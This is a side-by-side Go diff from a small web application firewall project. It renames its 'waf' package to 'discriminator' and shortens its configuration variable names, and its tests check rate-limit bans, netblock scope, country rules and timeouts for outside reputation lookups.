{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
{
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
},
{
"a blocklist that only logs",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"a blocklist that only limits",
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"over a rate limit on an exempt path",
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
countClient, http.StatusOK, requestlog.ActionForward,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {})
if status != tc.status || took != defaultLookupWait {
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
status, took, tc.status, defaultLookupWait, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
})
})
}
}
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
t *testing.T,
) {
t.Parallel()
held, askedGeoJS, _ := startHeldGeoJS(t)
// A resolver that takes every query and answers none.
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = resolver.Close() })
server, out, _ := newDiscriminatorWith(t, func(
params discriminator.Params,
) *discriminator.Server {
params.AbuseIPDBURL = silentAbuseIPDBURL
return discriminator.New(params)
}, held, time.Now, map[string]string{
tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
})
// AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
go server.Lists.Run(t.Context())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test")
req.Header.Set("Accept", "*/*")
req.Host = siteA
})
if status != http.StatusOK || took >= answerTimeLimit {
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
status, took, http.StatusOK, answerTimeLimit, out.text())
}
// Each outside source was asked, and none has answered. The stand-in for
// GeoJS is the lists' too, which name no address.
if !slices.Contains(askedGeoJS(), client) {
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
}
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
}
if checked := server.AbuseIPDB.Checked(); checked != 1 {
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
}
}
@@ -1,7 +1,7 @@
package waf package discriminator
// The heuristic active_ban, and the code that makes bans, which several // The heuristic active_ban, and the code that makes bans, which several
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's. // heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
import ( import (
"context" "context"
@@ -15,7 +15,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged // banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
// with action. // with action.
func (rq *request) banResponse(action string) *refusal { func (rq *request) banResponse(action string) *refusal {
return &refusal{status: rq.h.config.BanResponse, action: action} return &refusal{status: rq.h.config.BanResponse, action: action}
@@ -29,11 +29,7 @@ type activeBan struct{}
func (activeBan) name() string { return "active_ban" } func (activeBan) name() string { return "active_ban" }
func (activeBan) check( func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
check := rq.h.ledger.Check check := rq.h.ledger.Check
if rq.h.config.Observe { if rq.h.config.Observe {
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -81,11 +77,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
// countedBytes returns the request's bytes, once it has ended, as the // countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body // byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says. // bytes, the request's, or both, as SWW_BYTES_COUNT says.
func (rq *request) countedBytes() int64 { func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes response, request := rq.out.bytes, rq.requestBytes
switch rq.h.config.BytesCounted { switch rq.h.config.BytesCount {
case "response": case "response":
return response return response
case "request": case "request":
@@ -98,18 +94,14 @@ func (rq *request) countedBytes() int64 {
// banForLimit bans the client's netblock at now for a broken limit, the // banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in // one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent: // the metrics. status is what the client was sent, or is sent:
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for // SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the // one whose bytes broke a byte limit, the refusal for one that broke the
// refusal limit. The ban's notes give the client's limit percentage for a // error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets // rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made, // sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent. // if that alert would be sent.
func (rq *request) banForLimit( func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
now time.Time,
hit ratelimit.Hit,
status int,
) {
switch hit.Kind { switch hit.Kind {
case ratelimit.KindBytes: case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -123,8 +115,7 @@ func (rq *request) banForLimit(
rq.h.metrics.LimitHit(hit) rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
return return
} }
@@ -173,11 +164,8 @@ func (rq *request) banForLimit(
// alert would be sent. It returns the action for that ban. // alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string { func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
!rq.wouldAlertBan(netblock, now, bans.CauseAttack) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
)
} }
notes.ASN = rq.line.ASN notes.ASN = rq.line.ASN
@@ -210,16 +198,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
// CrowdSec's decision on the client, ends. In observe mode it makes no // CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert // ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban. // would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec( func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
} }
notes := bans.Notes{ notes := bans.Notes{
@@ -232,13 +214,8 @@ func (rq *request) banForCrowdSec(
} }
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec( ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
netblock, decision.Scenario, notes)
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan { if wouldBan {
rq.alertBan(ban) rq.alertBan(ban)
} }
@@ -260,7 +237,7 @@ func (rq *request) banForCrowdSec(
// wouldAlertBan reports whether the alert for a ban on netblock for cause // wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would // made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per // have made is worked out only then, at most once per
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the // SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
// netblock's requests, which can mean going through every client. // netblock's requests, which can mean going through every client.
func (rq *request) wouldAlertBan( func (rq *request) wouldAlertBan(
netblock netip.Prefix, now time.Time, cause string, netblock netip.Prefix, now time.Time, cause string,
@@ -326,7 +303,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
} }
// netblock is the netblock a ban on client covers: its IPv4 address, // netblock is the netblock a ban on client covers: its IPv4 address,
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup // widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
// counts it in. // counts it in.
func (h *handler) netblock(client netip.Addr) netip.Prefix { func (h *handler) netblock(client netip.Addr) netip.Prefix {
addr := client.Unmap() addr := client.Unmap()
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -15,8 +15,8 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -26,59 +26,36 @@ const (
userAgent = "ban-test/1.0" userAgent = "ban-test/1.0"
// permanent is the log line's ban_expires for a permanent ban. // permanent is the log line's ban_expires for a permanent ban.
permanent = "permanent" permanent = "permanent"
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection. // banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
banResponseClose = "close" banResponseClose = "close"
) )
func TestBrokenLimitBansTheClient(t *testing.T) { func TestBrokenLimitBansTheClient(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startWithClock( s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The request over the limit of one a minute is refused, and bans the // The request over the limit of one a minute is refused, and bans the
// client for an hour, the default. // client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
"want minute, limit and %s", expires)
line.LimitHit,
line.Offence,
line.BanExpires,
expires,
)
} }
// Every request while the ban lasts is refused. // Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second) clk.advance(time.Hour - time.Second)
line = s.get( line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
http.StatusForbidden, t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
requestlog.ActionTemporarilyBanned, "want %s and neither of the others", line.BanExpires, line.Offence,
) line.LimitHit, expires)
if line.BanExpires != expires || line.Offence != "" ||
line.LimitHit != "" {
t.Errorf(
"log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others",
line.BanExpires,
line.Offence,
line.LimitHit,
expires,
)
} }
// Once it ends, the client is let through. // Once it ends, the client is let through.
@@ -90,10 +67,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{ s, clk, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
limitBanDuration: "10m", limitBanDuration: "10m",
limitBanRepeatWindow: "1h", limitBanRepeatWindow: "1h",
limitBanPermanentAbove: "1h", maxBanDuration: "1h",
}) })
// breakLimit has client go over the limit of one a minute, and // breakLimit has client go over the limit of one a minute, and
@@ -101,11 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
breakLimit := func() string { breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
return line.BanExpires return line.BanExpires
} }
@@ -118,19 +91,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
} }
} }
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within // A first ban lasts SWW_LIMIT_BAN_DURATION; one within
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long. // SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
wantExpires(breakLimit(), 10*time.Minute) wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10*time.Minute + time.Hour) clk.advance(10*time.Minute + time.Hour)
wantExpires(breakLimit(), 30*time.Minute) wantExpires(breakLimit(), 30*time.Minute)
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again. // Later than that, SWW_LIMIT_BAN_DURATION again.
clk.advance(30*time.Minute + time.Hour + time.Second) clk.advance(30*time.Minute + time.Hour + time.Second)
wantExpires(breakLimit(), 10*time.Minute) wantExpires(breakLimit(), 10*time.Minute)
clk.advance(10 * time.Minute) clk.advance(10 * time.Minute)
wantExpires(breakLimit(), 30*time.Minute) wantExpires(breakLimit(), 30*time.Minute)
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is // 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
// permanent. // permanent.
clk.advance(30 * time.Minute) clk.advance(30 * time.Minute)
@@ -146,11 +119,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
t,
"",
map[string]string{rateLimitPerDay: "2"},
)
// The third request in a day is over the limit of two, and bans the // The third request in a day is over the limit of two, and bans the
// client for an hour. // client for an hour.
@@ -159,11 +128,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 { for range 3 {
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// Later the same day the client has its whole allowance again: the // Later the same day the client has its whole allowance again: the
@@ -176,10 +141,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 { if len(banned) != 2 || banned[0].Notes.Refused != 3 {
t.Errorf( t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
"bans %+v, want two, the first with 3 requests refused",
banned,
)
} }
} }
@@ -188,8 +150,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
// In the IPv4 cases, client breaks the limit; these two are next to it. // In the IPv4 cases, client breaks the limit; these two are next to it.
const ( const (
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS allowed = "203.0.113.60" // in SWW_ALLOW_NETS
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
for _, tc := range []struct { for _, tc := range []struct {
@@ -204,7 +166,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
nil, []string{otherClient, exempt}, nil, []string{otherClient, exempt},
}, },
{ {
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets", "the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
map[string]string{banScopeV4Prefix: "24"}, client, map[string]string{banScopeV4Prefix: "24"}, client,
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed}, []string{otherClient, exempt}, []string{"203.0.112.9", allowed},
}, },
@@ -213,7 +175,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"}, []string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
}, },
{ {
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets", "the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1", map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"}, []string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
}, },
@@ -230,18 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get( s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.breaker,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
for _, sent := range tc.refused { for _, sent := range tc.refused {
s.get( s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
sent,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
for _, sent := range tc.let { for _, sent := range tc.let {
@@ -256,21 +210,17 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
banScopeV4Prefix: "24", banScopeV4Prefix: "24",
tagDeny: denyKP, tagDeny: denyKP,
}) })
// fromDE's ban covers otherClient, which is refused unasked about. // fromDE's ban covers otherClient, which is refused unasked about.
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.Country != "" { if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country) t.Errorf("log line has country %q, want none", line.Country)
} }
@@ -291,11 +241,7 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(t, line, "active_ban", wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`) `{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
} }
@@ -303,10 +249,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) { func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
for _, tc := range []struct { for _, tc := range []struct {
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default setting string // "" leaves SWW_BAN_RESPONSE at its default
status int // 0 is the connection closed without an answer status int // 0 is the connection closed without an answer
}{ }{
{"", http.StatusForbidden}, {"", http.StatusForbidden},
@@ -319,10 +265,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
tagDeny: denyKP, tagDeny: denyKP,
} }
if tc.setting != "" { if tc.setting != "" {
@@ -345,9 +291,9 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
tagDeny: denyKP, tagDeny: denyKP,
}) })
start := clk.Now() start := clk.Now()
@@ -401,12 +347,8 @@ func TestBanNotes(t *testing.T) {
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock) got = ledger.Bans(netblock)
if len(got) != 2 || if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
t.Errorf(
"bans %+v, want two, the second with one earlier ban for a limit",
got,
)
} }
} }
@@ -422,18 +364,10 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// clock is the time a test sets, by which sww counts requests and // clock is the time a test sets, by which sww counts requests and
@@ -459,14 +393,14 @@ func (c *clock) advance(d time.Duration) {
c.now = c.now.Add(d) c.now = c.now.Add(d)
} }
// startWithClock starts waf, and rproxy in front of an app that answers 200, // startWithClock starts discriminator, and rproxy in front of an app that answers 200,
// with the settings in env on top of trusting localhost's // with the settings in env on top of trusting localhost's
// X-Forwarded-For, clients' AS numbers and countries looked up at // X-Forwarded-For, clients' AS numbers and countries looked up at
// geojsURL, and a clock set to midnight, the start of a bucket in every // geojsURL, and a clock set to midnight, the start of a bucket in every
// window. // window.
func startWithClock( func startWithClock(
t *testing.T, geojsURL string, env map[string]string, t *testing.T, geojsURL string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -474,33 +408,22 @@ func startWithClock(
settings := map[string]string{trustedProxies: trustLocalhost} settings := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server := startProxyWithClock( addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
t,
app.URL,
geojsURL,
clk.Now,
settings,
)
return &sender{ return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
t: t,
addr: addr,
wafAddr: server.Addr,
out: out,
}, clk, server
} }
// sender sends requests to rproxy one after another, each on a connection of its // sender sends requests to rproxy one after another, each on a connection of its
// own, and checks each one's answer and log line. wafAddr is where // own, and checks each one's answer and log line. discriminatorAddr is where
// waf's own endpoints are, which ownEndpointRequest asks. Every request // discriminator's own endpoints are, which ownEndpointRequest asks. Every request
// waf gets must come through the sender, since the log lines are // discriminator gets must come through the sender, since the log lines are
// matched to them in order. // matched to them in order.
type sender struct { type sender struct {
t *testing.T t *testing.T
addr string addr string
wafAddr string discriminatorAddr string
out *output out *output
sent int sent int
} }
// get sends a GET request for / from the client at from. // get sends a GET request for / from the client at from.
@@ -514,11 +437,7 @@ func (s *sender) get(from string, status int, action string) logLine {
// X-Forwarded-For names it, and checks that its answer and its log line // X-Forwarded-For names it, and checks that its answer and its log line
// have status, 0 for the connection closed without an answer, and that // have status, 0 for the connection closed without an answer, and that
// the line has action. It returns the log line. // the line has action. It returns the log line.
func (s *sender) request( func (s *sender) request(from, path string, status int, action string) logLine {
from, path string,
status int,
action string,
) logLine {
s.t.Helper() s.t.Helper()
return s.requestWithHeader(from, path, "", status, action) return s.requestWithHeader(from, path, "", status, action)
@@ -531,15 +450,7 @@ func (s *sender) requestWithHeader(
) logLine { ) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
http.MethodGet,
from,
path,
header,
"",
status,
action,
)
return line return line
} }
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
@@ -17,16 +17,13 @@ type percentage struct {
} }
// biasedThresholdsSet reports whether a biased threshold can lower a // biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or // client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty, // SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on. // then needed before its request goes on.
func biasedThresholdsSet(cfg *config.WAF) bool { func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesLimitPercent) > 0 || return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
len(cfg.CountryBytesLimitPercent) > 0 || cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
cfg.UnknownCountryLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
} }
// limitPercentages returns the client's limit percentages, for the rate // limitPercentages returns the client's limit percentages, for the rate
@@ -34,96 +31,66 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and // as looked up, each "" when unknown, and the blocklists, DNSBL zones and
// AbuseIPDB that list it. Each is the lowest of those the settings give // AbuseIPDB that list it. Each is the lowest of those the settings give
// it, the first of them in the order below when several are lowest: the // it, the first of them in the order below when several are lowest: the
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file // percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one // SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its // SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped // other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist // the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
